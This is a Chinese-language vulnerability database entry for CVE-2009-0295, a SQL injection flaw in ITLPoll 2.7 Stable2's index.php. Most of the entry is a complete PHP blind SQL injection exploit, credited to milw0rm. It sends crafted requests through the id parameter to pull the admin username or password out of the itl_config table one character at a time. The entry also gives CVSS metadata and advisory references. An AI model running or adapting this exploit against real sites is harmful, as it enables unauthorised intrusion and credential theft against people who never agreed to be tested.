https://www.exploit-db.com/exploits/7867
https://cxsecurity.com/issue/WLB-2009010229
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-374
Information Technology Light Poll Information index.php SQL注入漏洞






漏洞ID | 1117300 | 漏洞类型 | SQL注入 |
发布时间 | 2009-01-26 | 更新时间 | 2009-02-05 |
![]() |
CVE-2009-0295 | ![]() |
CNNVD-200901-374 |
漏洞平台 | PHP | CVSS评分 | 6.8 |
|漏洞来源
|漏洞详情
InformationTechnologyLightPollInformation(ITLPoll)2.7稳定版2中的index.php存在SQL注入漏洞。当magic_quotes_gpc被中止时,远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
<?php
function usage ()
{
echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
"\n[☢] Usage : ./itlpoll.php hostname path <username or password>".
"\n[☢] Ex : ./itlpoll.php localhost /itlpoll password".
"\n\n";
exit ();
}
function query ($func, $chr, $pos)
{ //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
$query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}
function exploit ($host, $path, $func, $pos, $chr)
{
$chr = ord ($chr);
$fp = fsockopen ($host, 80);
$query = query ($func, $chr, $pos);
$request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
"Host: {$host}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $request);
while (!feof ($fp))
$reply .= fgets ($fp, 1024);
fclose ($fp);
if (preg_match ("/EXPIERED/", $reply))
return false;
else
return true;
}
if ($argc != 4)
usage ();
$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;
echo "[☢] Creds: ";
while ($pos <= 32)
{
if (exploit ($host, $path, $func, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n";
?>
# milw0rm.com [2009-01-26]
|参考资料
来源:BID
名称:33452
链接:http://www.securityfocus.com/bid/33452
来源:MILW0RM
名称:7867
链接:http://www.milw0rm.com/exploits/7867
来源:SECUNIA
名称:33666
链接:http://secunia.com/advisories/33666
来源:OSVDB
名称:51616
链接:http://osvdb.org/51616
检索漏洞
开始时间
结束时间